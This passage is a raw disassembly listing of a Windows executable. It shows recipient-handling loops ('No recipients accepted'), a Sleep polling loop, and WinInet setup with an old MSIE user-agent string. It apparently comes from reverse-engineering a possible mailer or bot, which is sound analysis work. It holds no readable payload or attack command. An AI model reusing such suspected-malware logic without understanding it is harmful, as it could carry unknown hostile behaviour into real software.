		mov	eax, [esp+0A0h+var_88]
		mov	ebx, [ebx+4]
		call	sub_40290F
		push	esi
		push	1
		lea	ecx, [esp+0A8h+var_64]
		call	sub_4013C4
		push	esi
		push	1
		lea	ecx, [esp+0A8h+var_48]
		call	sub_4013C4
		push	esi
		push	1
		lea	ecx, [esp+0A8h+var_2C]
		call	sub_4013C4
		cmp	[esp+0A0h+var_70], esi
		jz	short loc_407934
		push	[esp+0A0h+var_70]
		call	sub_40DD8A
		pop	ecx


loc_407934:				; CODE XREF: sub_407784+1A4j
		mov	ecx, [esp+0A0h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407784	endp


; =============== S U B	R O U T	I N E =======================================



sub_407949	proc near		; CODE XREF: sub_407784+D2p
		mov	eax, offset loc_41B1FD
		call	sub_41AE44
		sub	esp, 6Ch
		or	dword ptr [ebp-74h], 0FFFFFFFFh
		push	ebx
		push	esi
		push	edi
		lea	esi, [ebp-70h]
		call	sub_4012E2
		mov	edi, [ebp+8]
		xor	ebx, ebx
		add	edi, 10h
		lea	eax, [ebp-74h]
		mov	[ebp-4], ebx
		call	sub_40CCCC
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jnz	short loc_407997


loc_407983:				; CODE XREF: sub_407949+62j
					; sub_407949+79j ...
		push	esi


loc_407984:				; CODE XREF: sub_407949+185j
		mov	ebx, [ebp+0Ch]
		lea	eax, [ebp-70h]
		push	eax
		call	sub_408078


loc_407990:				; CODE XREF: sub_407949+1A2j
		pop	ecx
		pop	ecx
		jmp	loc_407B12
; ---------------------------------------------------------------------------


loc_407997:				; CODE XREF: sub_407949+38j
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-74h]
		call	sub_40CDF4
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jz	short loc_407983
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-74h]
		push	eax
		call	sub_40CF4A
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jz	short loc_407983
		mov	esi, [ebp+0Ch]
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		mov	[ebp+14h], ebx
		jbe	short loc_4079D7
		call	sub_40DCFC


loc_4079D7:				; CODE XREF: sub_407949+87j
		mov	[ebp-14h], esi
		mov	[ebp-10h], edi
		mov	[ebp-1Ch], esi


loc_4079E0:				; CODE XREF: sub_407949+176j
		mov	edi, [esi+8]
		cmp	[esi+4], edi
		jbe	short loc_4079ED
		call	sub_40DCFC


loc_4079ED:				; CODE XREF: sub_407949+9Dj
		mov	[ebp-18h], edi
		lea	edi, [ebp-1Ch]
		lea	esi, [ebp-14h]
		call	sub_407BB6
		test	al, al
		jz	loc_407AD3
		call	sub_409835
		push	dword ptr [eax]
		lea	eax, [ebp-54h]
		push	eax
		call	sub_407BF3
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	esi, [ebp+8]
		add	esi, 8
		mov	byte ptr [ebp-4], 1
		call	sub_406402
		push	eax
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		call	sub_407C46
		add	esp, 0Ch
		mov	edi, eax
		lea	esi, [ebp-14h]
		mov	byte ptr [ebp-4], 2
		call	sub_409835
		mov	esi, eax
		push	edi
		lea	eax, [ebp-74h]
		push	eax
		call	sub_40CFFD
		mov	ecx, [esi]
		push	ebx
		mov	[ecx+54h], eax
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4013C4
		push	ebx
		push	1
		lea	ecx, [ebp-54h]
		mov	[ebp-4], bl
		call	sub_4013C4
		lea	esi, [ebp-14h]
		call	sub_409835
		mov	eax, [eax]
		cmp	[eax+54h], ebx
		jl	short loc_407AC4
		call	sub_409835
		mov	eax, [eax]
		mov	eax, [eax+54h]
		call	sub_40D211
		test	al, al
		jz	short loc_407A9E
		inc	dword ptr [ebp+14h]
		call	sub_409835
		mov	eax, [eax]
		mov	byte ptr [eax+58h], 1
		jmp	short loc_407AB4
; ---------------------------------------------------------------------------


loc_407A9E:				; CODE XREF: sub_407949+143j
		call	sub_409835
		push	0FFFFFFFFh
		push	ebx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	ecx, [eax]
		add	ecx, 38h
		call	sub_401315


loc_407AB4:				; CODE XREF: sub_407949+153j
		lea	esi, [ebp-14h]
		call	sub_407BD3
		mov	esi, [ebp+0Ch]
		jmp	loc_4079E0
; ---------------------------------------------------------------------------


loc_407AC4:				; CODE XREF: sub_407949+130j
		call	sub_409835
		mov	eax, [eax]
		push	dword ptr [eax+54h]
		jmp	loc_407984
; ---------------------------------------------------------------------------


loc_407AD3:				; CODE XREF: sub_407949+B4j
		cmp	[ebp+14h], ebx
		jnz	short loc_407AF0
		push	offset aNoRecipientsAc ; "No recipients	accepted\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		jmp	loc_407990
; ---------------------------------------------------------------------------


loc_407AF0:				; CODE XREF: sub_407949+18Dj
		push	dword ptr [ebp+10h]
		lea	ecx, [ebp-74h]
		call	sub_40D0B0
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jz	loc_407983
		lea	ecx, [ebp-74h]
		call	sub_40D183


loc_407B12:				; CODE XREF: sub_407949+49j
		lea	eax, [ebp-74h]
		call	sub_40CCB1
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	14h
sub_407949	endp

; ---------------------------------------------------------------------------


loc_407B2B:				; CODE XREF: .vty:0041B4D3j
					; .vty:0041B585j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_407B39
		push	eax
		call	sub_40DD8A
		pop	ecx


loc_407B39:				; CODE XREF: .vty:00407B30j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B46	proc near		; CODE XREF: sub_407784+134p
					; sub_407C9A+14Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		mov	edi, [ebx+8]
		cmp	[ebx+4], edi
		mov	[ebp+var_4], edi
		jbe	short loc_407B5E
		call	sub_40DCFC


loc_407B5E:				; CODE XREF: sub_407B46+11j
		mov	esi, [ebx+4]
		cmp	esi, [ebx+8]
		mov	[ebp+var_8], esi
		jbe	short loc_407B6E
		call	sub_40DCFC


loc_407B6E:				; CODE XREF: sub_407B46+21j
		mov	[ebp+var_C], edi
		mov	[ebp+var_14], esi
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+var_18]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_18], ebx
		call	sub_407BB6
		test	al, al
		jz	short loc_407BB2
		mov	eax, [ebx+8]
		sub	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		sar	eax, 2
		mov	ecx, eax
		shl	ecx, 2
		test	eax, eax
		lea	esi, [ecx+edx]
		jle	short loc_407BAF
		push	ecx
		push	[ebp+var_4]
		push	ecx
		push	edx
		call	sub_40D807
		add	esp, 10h


loc_407BAF:				; CODE XREF: sub_407B46+59j
		mov	[ebx+8], esi


loc_407BB2:				; CODE XREF: sub_407B46+41j
		pop	edi
		pop	esi
		leave
		retn
sub_407B46	endp


; =============== S U B	R O U T	I N E =======================================



sub_407BB6	proc near		; CODE XREF: sub_407784+10Dp
					; sub_407949+ADp ...
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_407BC0
		cmp	eax, [edi]
		jz	short loc_407BC5


loc_407BC0:				; CODE XREF: sub_407BB6+4j
		call	sub_40DCFC


loc_407BC5:				; CODE XREF: sub_407BB6+8j
		mov	eax, [esi+4]
		xor	ecx, ecx
		cmp	eax, [edi+4]
		setnz	cl
		mov	al, cl
		retn
sub_407BB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_407BD3	proc near		; CODE XREF: sub_407784+129p
					; sub_407949+16Ep ...
		cmp	dword ptr [esi], 0
		jnz	short loc_407BDD
		call	sub_40DCFC


loc_407BDD:				; CODE XREF: sub_407BD3+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+8]
		jb	short loc_407BEC
		call	sub_40DCFC


loc_407BEC:				; CODE XREF: sub_407BD3+12j
		add	dword ptr [esi+4], 4
		mov	eax, esi
		retn
sub_407BD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_407BF3	proc near		; CODE XREF: sub_407949+C5p
					; sub_407E77+E4p
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 20h
		and	dword ptr [ebp-10h], 0
		push	ebx
		push	esi
		push	dword ptr [ebp+0Ch]
		lea	ecx, [ebp-2Ch]
		call	sub_401C1E
		and	dword ptr [ebp-4], 0
		xor	ebx, ebx
		push	40h
		inc	ebx
		mov	esi, eax
		call	sub_40140F
		mov	ecx, [ebp+8]
		push	eax
		call	sub_401C1E
		push	0
		push	ebx
		lea	ecx, [ebp-2Ch]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_407BF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C46	proc near		; CODE XREF: sub_407949+E3p
					; sub_407E77+102p
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 20h
		and	dword ptr [ebp-10h], 0
		push	esi
		push	dword ptr [ebp+0Ch]
		lea	ecx, [ebp-2Ch]
		call	sub_401C1E
		mov	esi, eax
		mov	eax, [ebp+10h]
		and	dword ptr [ebp-4], 0
		push	0FFFFFFFFh
		push	0
		call	sub_401F95
		mov	ecx, [ebp+8]
		push	eax
		call	sub_401C1E
		push	0
		push	1
		lea	ecx, [ebp-2Ch]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_407C46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C9A	proc near		; DATA XREF: .vty:0041EB74o

var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset SEH_407C9A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 88h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, ecx
		push	edi
		mov	[esp+0A0h+var_90], esi
		mov	[esp+0A0h+var_70], ebx
		mov	[esp+0A0h+var_6C], ebx
		mov	[esp+0A0h+var_68], ebx
		push	0Fh
		pop	edi
		mov	[esp+0A0h+var_4], ebx
		push	ebx
		lea	ecx, [esp+0A4h+var_2C]
		mov	[esp+0A4h+var_14], edi
		call	sub_401564
		push	ebx
		lea	ecx, [esp+0A4h+var_48]
		mov	[esp+0A4h+var_30], edi
		call	sub_401564
		push	ebx
		lea	ecx, [esp+0A4h+var_64]
		mov	[esp+0A4h+var_4C], edi
		call	sub_401564
		lea	ecx, [esp+0A0h+var_8C]
		lea	eax, [esi+8]
		push	ecx
		push	eax
		mov	[esp+0A8h+var_88], eax
		lea	eax, [esp+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 3
		mov	edi, [esi+4]
		push	eax
		call	sub_4027E7
		test	eax, eax
		jle	loc_407E20
		lea	eax, [esp+0A0h+var_74]
		mov	[esp+0A0h+var_7C], eax
		jmp	short loc_407D3F
; ---------------------------------------------------------------------------


loc_407D3D:				; CODE XREF: sub_407C9A+180j
		xor	ebx, ebx


loc_407D3F:				; CODE XREF: sub_407C9A+A1j
		mov	ecx, [esi+4]
		lea	eax, [esp+0A0h+var_48]
		push	eax
		lea	eax, [esp+0A4h+var_64]
		push	eax
		lea	eax, [esp+0A8h+var_2C]
		push	eax
		lea	eax, [esp+0ACh+var_74]
		push	eax
		call	sub_402979
		lea	eax, [esp+0A0h+var_64]
		push	eax
		lea	eax, [esp+0A4h+var_48]
		push	eax
		lea	eax, [esp+0A8h+var_2C]
		push	eax
		lea	eax, [esp+0ACh+var_74]
		push	eax
		push	esi
		call	sub_407E77
		mov	esi, [esp+0A0h+var_70]
		cmp	esi, [esp+0A0h+var_6C]
		jbe	short loc_407D84
		call	sub_40DCFC


loc_407D84:				; CODE XREF: sub_407C9A+E3j
		lea	eax, [esp+0A0h+var_74]
		mov	[esp+0A0h+var_84], eax
		mov	[esp+0A0h+var_80], esi


loc_407D90:				; CODE XREF: sub_407C9A+146j
		mov	esi, [esp+0A0h+var_6C]
		cmp	[esp+0A0h+var_70], esi
		jbe	short loc_407D9F
		call	sub_40DCFC


loc_407D9F:				; CODE XREF: sub_407C9A+FEj
		mov	[esp+0A0h+var_78], esi
		lea	edi, [esp+0A0h+var_7C]
		lea	esi, [esp+0A0h+var_84]
		call	sub_407BB6
		test	al, al
		jz	short loc_407DE2
		call	sub_409835
		mov	eax, [eax]
		cmp	[eax+58h], bl
		jz	short loc_407DCD
		call	sub_409835
		mov	eax, [eax]
		mov	byte ptr [eax+59h], 3
		jmp	short loc_407DD7
; ---------------------------------------------------------------------------


loc_407DCD:				; CODE XREF: sub_407C9A+124j
		call	sub_409835
		mov	eax, [eax]
		mov	[eax+59h], bl


loc_407DD7:				; CODE XREF: sub_407C9A+131j
		lea	esi, [esp+0A0h+var_84]
		call	sub_407BD3
		jmp	short loc_407D90
; ---------------------------------------------------------------------------


loc_407DE2:				; CODE XREF: sub_407C9A+118j
		lea	ebx, [esp+0A0h+var_74]
		call	sub_407B46
		mov	eax, [esp+0A0h+var_8C]
		imul	eax, 3E8h
		push	eax
		call	dword_41C090	; Sleep
		lea	eax, [esp+0A0h+var_8C]
		push	eax
		push	[esp+0A4h+var_88]
		mov	eax, ebx
		push	eax
		mov	eax, [esp+0ACh+var_90]
		mov	edi, [eax+4]
		call	sub_4027E7
		test	eax, eax
		mov	esi, [esp+0A0h+var_90]
		jg	loc_407D3D


loc_407E20:				; CODE XREF: sub_407C9A+93j
		mov	eax, [esp+0A0h+var_88]
		mov	ebx, [esi+4]
		call	sub_40290F
		xor	esi, esi
		push	esi
		push	1
		lea	ecx, [esp+0A8h+var_64]
		call	sub_4013C4
		push	esi
		push	1
		lea	ecx, [esp+0A8h+var_48]
		call	sub_4013C4
		push	esi
		push	1
		lea	ecx, [esp+0A8h+var_2C]
		call	sub_4013C4
		cmp	[esp+0A0h+var_70], esi
		jz	short loc_407E62
		push	[esp+0A0h+var_70]
		call	sub_40DD8A
		pop	ecx


loc_407E62:				; CODE XREF: sub_407C9A+1BCj
		mov	ecx, [esp+0A0h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407C9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_407E77	proc near		; CODE XREF: sub_407C9A+D6p
		mov	eax, offset loc_41B1DB
		call	sub_41AE44
		sub	esp, 6Ch
		or	dword ptr [ebp-74h], 0FFFFFFFFh
		push	ebx
		push	esi
		push	edi
		lea	esi, [ebp-70h]
		call	sub_4012E2
		lea	eax, [ebp-38h]
		push	eax
		mov	eax, [ebp+8]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	eax, [eax+4]
		call	sub_4027B2
		mov	edi, eax
		lea	eax, [ebp-74h]
		mov	byte ptr [ebp-4], 1
		call	sub_40CCCC
		push	ebx
		push	1
		lea	ecx, [ebp-38h]
		mov	esi, eax
		mov	[ebp-4], bl
		call	sub_4013C4
		mov	eax, esi
		call	sub_40D211
		test	al, al
		jnz	short loc_407EE4


loc_407ED0:				; CODE XREF: sub_407E77+81j
					; sub_407E77+98j ...
		push	esi


loc_407ED1:				; CODE XREF: sub_407E77+1A4j
		mov	ebx, [ebp+0Ch]
		lea	eax, [ebp-70h]
		push	eax
		call	sub_408078


loc_407EDD:				; CODE XREF: sub_407E77+1C1j
		pop	ecx
		pop	ecx
		jmp	loc_40805F
; ---------------------------------------------------------------------------


loc_407EE4:				; CODE XREF: sub_407E77+57j
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-74h]
		call	sub_40CDF4
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jz	short loc_407ED0
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-74h]
		push	eax
		call	sub_40CF4A
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jz	short loc_407ED0
		mov	esi, [ebp+0Ch]
		mov	edi, [esi+4]
		cmp	edi, [esi+8]
		mov	[ebp+14h], ebx
		jbe	short loc_407F24
		call	sub_40DCFC


loc_407F24:				; CODE XREF: sub_407E77+A6j
		mov	[ebp-14h], esi
		mov	[ebp-10h], edi
		mov	[ebp-1Ch], esi


loc_407F2D:				; CODE XREF: sub_407E77+195j
		mov	edi, [esi+8]
		cmp	[esi+4], edi
		jbe	short loc_407F3A
		call	sub_40DCFC


loc_407F3A:				; CODE XREF: sub_407E77+BCj
		mov	[ebp-18h], edi
		lea	edi, [ebp-1Ch]
		lea	esi, [ebp-14h]
		call	sub_407BB6
		test	al, al
		jz	loc_408020
		call	sub_409835
		push	dword ptr [eax]
		lea	eax, [ebp-54h]
		push	eax
		call	sub_407BF3
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	esi, [ebp+8]
		add	esi, 8
		mov	byte ptr [ebp-4], 2
		call	sub_406402
		push	eax
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		call	sub_407C46
		add	esp, 0Ch
		mov	edi, eax
		lea	esi, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_409835
		mov	esi, eax
		push	edi
		lea	eax, [ebp-74h]
		push	eax
		call	sub_40CFFD
		mov	ecx, [esi]
		push	ebx
		mov	[ecx+54h], eax
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4013C4
		push	ebx
		push	1
		lea	ecx, [ebp-54h]
		mov	[ebp-4], bl
		call	sub_4013C4
		lea	esi, [ebp-14h]
		call	sub_409835
		mov	eax, [eax]
		cmp	[eax+54h], ebx
		jl	short loc_408011
		call	sub_409835
		mov	eax, [eax]
		mov	eax, [eax+54h]
		call	sub_40D211
		test	al, al
		jz	short loc_407FEB
		inc	dword ptr [ebp+14h]
		call	sub_409835
		mov	eax, [eax]
		mov	byte ptr [eax+58h], 1
		jmp	short loc_408001
; ---------------------------------------------------------------------------


loc_407FEB:				; CODE XREF: sub_407E77+162j
		call	sub_409835
		push	0FFFFFFFFh
		push	ebx
		lea	ecx, [ebp-70h]
		push	ecx
		mov	ecx, [eax]
		add	ecx, 38h
		call	sub_401315


loc_408001:				; CODE XREF: sub_407E77+172j
		lea	esi, [ebp-14h]
		call	sub_407BD3
		mov	esi, [ebp+0Ch]
		jmp	loc_407F2D
; ---------------------------------------------------------------------------


loc_408011:				; CODE XREF: sub_407E77+14Fj
		call	sub_409835
		mov	eax, [eax]
		push	dword ptr [eax+54h]
		jmp	loc_407ED1
; ---------------------------------------------------------------------------


loc_408020:				; CODE XREF: sub_407E77+D3j
		cmp	[ebp+14h], ebx
		jnz	short loc_40803D
		push	offset aNoRecipientsAc ; "No recipients	accepted\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		jmp	loc_407EDD
; ---------------------------------------------------------------------------


loc_40803D:				; CODE XREF: sub_407E77+1ACj
		push	dword ptr [ebp+10h]
		lea	ecx, [ebp-74h]
		call	sub_40D0B0
		mov	esi, eax
		call	sub_40D211
		test	al, al
		jz	loc_407ED0
		lea	ecx, [ebp-74h]
		call	sub_40D183


loc_40805F:				; CODE XREF: sub_407E77+68j
		lea	eax, [ebp-74h]
		call	sub_40CCB1
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	14h
sub_407E77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408078	proc near		; CODE XREF: sub_407949+42p
					; sub_407E77+61p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebx+4]
		cmp	esi, [ebx+8]
		push	edi
		jbe	short loc_40808D
		call	sub_40DCFC


loc_40808D:				; CODE XREF: sub_408078+Ej
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], ebx


loc_408096:				; CODE XREF: sub_408078+70j
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_4080A3
		call	sub_40DCFC


loc_4080A3:				; CODE XREF: sub_408078+24j
		mov	[ebp+var_C], esi
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+var_8]
		call	sub_407BB6
		test	al, al
		jz	short loc_4080EA
		call	sub_409835
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	0
		push	[ebp+arg_0]
		add	ecx, 38h
		call	sub_401315
		call	sub_409835
		mov	eax, [eax]
		mov	byte ptr [eax+58h], 0
		call	sub_409835
		mov	eax, [eax]
		mov	ecx, [ebp+arg_4]
		mov	[eax+54h], ecx
		call	sub_407BD3
		jmp	short loc_408096
; ---------------------------------------------------------------------------


loc_4080EA:				; CODE XREF: sub_408078+3Bj
		pop	edi
		pop	esi
		leave
		retn
sub_408078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4080EE	proc near		; CODE XREF: sub_408170p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	202h
		call	dword_41C1F4	; WSAStartup
		test	eax, eax
		jnz	short loc_40816A
		push	eax
		push	eax
		push	eax
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_41C1D4	; InternetOpenA
		test	eax, eax
		mov	dword_424E80, eax
		jnz	short loc_408144
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aInternetopenD ;	"InternetOpen: (%d) %$\n"
		push	1
		call	sub_4024A7
		push	eax
		call	sub_40196F
		add	esp, 10h
		jmp	short loc_40816A
; ---------------------------------------------------------------------------


loc_408144:				; CODE XREF: sub_4080EE+36j
		push	0
		call	sub_40FDF8
		pop	ecx
		push	eax
		call	sub_40FA79
		pop	ecx
		call	sub_402E1F
; ---------------------------------------------------------------------------
		push	dword_424E80
		call	dword_41C1D0	; InternetCloseHandle
		call	dword_41C1F8	; WSACleanup


loc_40816A:				; CODE XREF: sub_4080EE+1Dj
					; sub_4080EE+54j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_4080EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_408170	proc near		; CODE XREF: sub_4107B2-6Ep
		call	sub_4080EE
		xor	eax, eax
		retn	10h
sub_408170	endp


; =============== S U B	R O U T	I N E =======================================



sub_40817A	proc near		; DATA XREF: .vty:0041FF6Co
		mov	dword ptr [ecx], offset	off_41C2B4
		jmp	sub_4018A5
sub_40817A	endp

; ---------------------------------------------------------------------------


loc_408185:				; DATA XREF: .vty:off_41C2B4o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41C2B4
		call	sub_4018A5
		test	byte ptr [esp+8], 1
		jz	short loc_4081A1
		push	esi
		call	sub_40DD8A
		pop	ecx


loc_4081A1:				; CODE XREF: .vty:00408198j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_401919
		mov	dword ptr [esi], offset	off_41C2B4
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4081BF	proc near		; CODE XREF: sub_4033DA+2FEp
		mov	eax, offset loc_41B578
		call	sub_41AE44
		sub	esp, 0D0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		lea	ecx, [ebp-30h]
		mov	dword ptr [ebp-18h], 0Fh
		call	sub_401564
		mov	[ebp-4], esi
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-70h]
		push	eax
		call	sub_409441
		pop	ecx
		pop	ecx
		mov	ebx, [ebp+8]
		mov	byte ptr [ebp-4], 1
		mov	[ebp+0Ch], esi
		mov	esi, ebx
		call	sub_406FAF
		lea	esi, [ebx+10h]
		mov	[ebp-14h], esi
		call	sub_406FEC
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_408216:				; CODE XREF: sub_4081BF+202j
		push	offset a_	; "."
		lea	esi, [ebp-30h]
		call	sub_406A6D
		test	al, al
		pop	ecx
		jnz	loc_4083C7
		cmp	dword ptr [ebp-1Ch], 0
		jz	loc_4083AD
		xor	edi, edi
		mov	eax, esi
		call	sub_4012F5
		cmp	byte ptr [eax],	24h
		jnz	loc_4083AD
		push	edi
		lea	ecx, [ebp-54h]
		mov	dword ptr [ebp-3Ch], 0Fh
		call	sub_401564
		inc	edi
		mov	byte ptr [ebp-4], 2
		cmp	[ebp-1Ch], edi
		jbe	short loc_4082C7


loc_408262:				; CODE XREF: sub_4081BF+E8j
		lea	eax, [ebp-30h]
		call	sub_4012F5
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_410004
		test	eax, eax
		pop	ecx
		jnz	short loc_408285
		lea	eax, [ebp-30h]
		call	sub_4012F5
		cmp	byte ptr [eax],	5Fh
		jnz	short loc_4082C2


loc_408285:				; CODE XREF: sub_4081BF+B7j
		lea	eax, [ebp-30h]
		call	sub_4012F5
		mov	al, [eax]
		mov	[ebp-34h], al
		push	dword ptr [ebp-34h]
		xor	ebx, ebx
		inc	ebx
		lea	esi, [ebp-54h]
		call	sub_40140F
		mov	ebx, [ebp+8]
		inc	edi
		cmp	edi, [ebp-1Ch]
		jb	short loc_408262
		jmp	short loc_4082C2
; ---------------------------------------------------------------------------


loc_4082AB:				; CODE XREF: sub_4081BF+106j
		lea	eax, [ebp-30h]
		call	sub_4012F5
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_40FF87
		test	eax, eax
		pop	ecx
		jz	short loc_4082C7
		inc	edi


loc_4082C2:				; CODE XREF: sub_4081BF+C4j
					; sub_4081BF+EAj
		cmp	edi, [ebp-1Ch]
		jb	short loc_4082AB


loc_4082C7:				; CODE XREF: sub_4081BF+A1j
					; sub_4081BF+100j
		lea	eax, [ebp-30h]
		call	sub_4012F5
		cmp	byte ptr [eax],	3Dh
		jnz	loc_40839D
		push	0FFFFFFFFh
		inc	edi
		push	edi
		lea	eax, [ebp-30h]
		push	eax
		lea	esi, [ebp-94h]
		call	sub_405527
		mov	esi, eax
		lea	eax, [ebp-54h]
		push	eax
		lea	ecx, [ebp-0DCh]
		mov	byte ptr [ebp-4], 3
		call	sub_401C1E
		push	esi
		lea	ecx, [ebp-0C0h]
		mov	byte ptr [ebp-4], 4
		call	sub_401C1E
		mov	byte ptr [ebp-4], 5
		mov	esi, [ebx+4]
		test	esi, esi
		jnz	short loc_40831F
		xor	edi, edi
		jmp	short loc_40832C
; ---------------------------------------------------------------------------


loc_40831F:				; CODE XREF: sub_4081BF+15Aj
		mov	eax, [ebx+0Ch]
		sub	eax, esi
		push	38h
		cdq
		pop	ecx
		idiv	ecx
		mov	edi, eax


loc_40832C:				; CODE XREF: sub_4081BF+15Ej
		mov	eax, ebx
		call	sub_40690A
		cmp	eax, edi
		jnb	short loc_40834D
		lea	eax, [ebp-0DCh]
		push	eax
		push	1
		push	dword ptr [ebx+8]
		call	sub_40993D
		mov	[ebx+8], eax
		jmp	short loc_40836D
; ---------------------------------------------------------------------------


loc_40834D:				; CODE XREF: sub_4081BF+176j
		mov	edi, [ebx+8]
		cmp	esi, edi
		jbe	short loc_408359
		call	sub_40DCFC


loc_408359:				; CODE XREF: sub_4081BF+193j
		push	edi
		push	ebx
		lea	eax, [ebp-0DCh]
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		mov	eax, ebx
		call	sub_4098BA


loc_40836D:				; CODE XREF: sub_4081BF+18Cj
		xor	esi, esi
		xor	edi, edi
		push	esi
		inc	edi
		push	edi
		lea	ecx, [ebp-0C0h]
		call	sub_4013C4
		push	esi
		push	edi
		lea	ecx, [ebp-0DCh]
		call	sub_4013C4
		push	esi
		push	edi
		lea	ecx, [ebp-94h]
		call	sub_4013C4
		push	esi
		push	edi
		jmp	short loc_4083A1
; ---------------------------------------------------------------------------


loc_40839D:				; CODE XREF: sub_4081BF+113j
		push	0
		push	1


loc_4083A1:				; CODE XREF: sub_4081BF+1DCj
		lea	ecx, [ebp-54h]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4


loc_4083AD:				; CODE XREF: sub_4081BF+52j
					; sub_4081BF+71j ...
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		lea	edi, [ebp+0Ch]
		call	sub_4093C0
		test	al, al
		pop	ecx
		pop	ecx
		jnz	loc_408216


loc_4083C7:				; CODE XREF: sub_4081BF+67j
